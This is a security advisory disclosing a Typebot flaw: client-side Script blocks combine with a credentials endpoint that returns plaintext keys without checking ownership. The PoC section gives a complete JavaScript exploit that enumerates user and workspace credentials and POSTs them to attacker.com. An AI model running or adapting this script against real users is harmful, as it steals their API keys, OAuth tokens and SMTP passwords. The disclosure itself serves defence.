GHSA-4xc5-wfwc-jw47

### Summary

Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership

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### Details

The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.

The `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:

```http GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}}

Response: { "result": { "data": { "json": { "name": "My OpenAI Key", "data": { "apiKey": "sk-proj-abc123...xyz789" } } } } } ```

The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.

Vulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`

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### PoC

Here's how to reproduce:

1. Create a new typebot in the Builder 2. Add a Script block and enable "Execute on client" 3. Paste this code:

```javascript const exfil = async () => { const data = { credentials: [] };

const list = await fetch( "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" + encodeURIComponent(JSON.stringify({ json: { scope: "user" } })), { credentials: "include" } ); const creds = (await list.json()).result?.data?.json?.credentials || [];

for (const c of creds) { const full = await fetch( "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { scope: "user", credentialsId: c.id } }) ), { credentials: "include" } ); const d = await full.json(); data.credentials.push({ name: d.result.data.json.name, type: c.type, apiKey: d.result.data.json.data.apiKey, fullData: d.result.data.json.data, }); }

const ws = await fetch( "https://app.typebot.io/api/trpc/workspace.listWorkspaces", { credentials: "include" } ); const workspaces = (await ws.json()).result.data.json.workspaces;

for (const w of workspaces) { const wsList = await fetch( "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } }) ), { credentials: "include" } ); const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];

for (const c of wsCreds) { const full = await fetch( "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { workspaceId: w.id, scope: "workspace", credentialsId: c.id, }, }) ), { credentials: "include" } ); const d = await full.json(); data.credentials.push({ workspace: w.name, name: d.result.data.json.name, type: c.type, fullData: d.result.data.json.data, }); } }

await fetch("https://attacker.com/exfil", { method: "POST", body: JSON.stringify(data), }); }; await exfil(); ```

4. Share typebot with victim 5. When victim clicks "Run" to preview, script executes 6. All credentials exfiltrated in plaintext:

```json { "credentials": [ { "name": "My OpenAI", "type": "openai", "apiKey": "sk-proj-abc123...", "fullData": { "apiKey": "sk-proj-abc123..." } }, { "workspace": "Company Workspace", "name": "Google Sheets", "type": "google-sheets", "fullData": { "refresh_token": "1//0gHdP...", "access_token": "ya29.a0..." } } ] } ```

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### Impact

All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.

Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.

Root causes:

- Client-side scripts execute with victim's authenticated session - API returns plaintext credentials without ownership verification - No user warnings or consent prompts - Exploitable with free tier account

CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)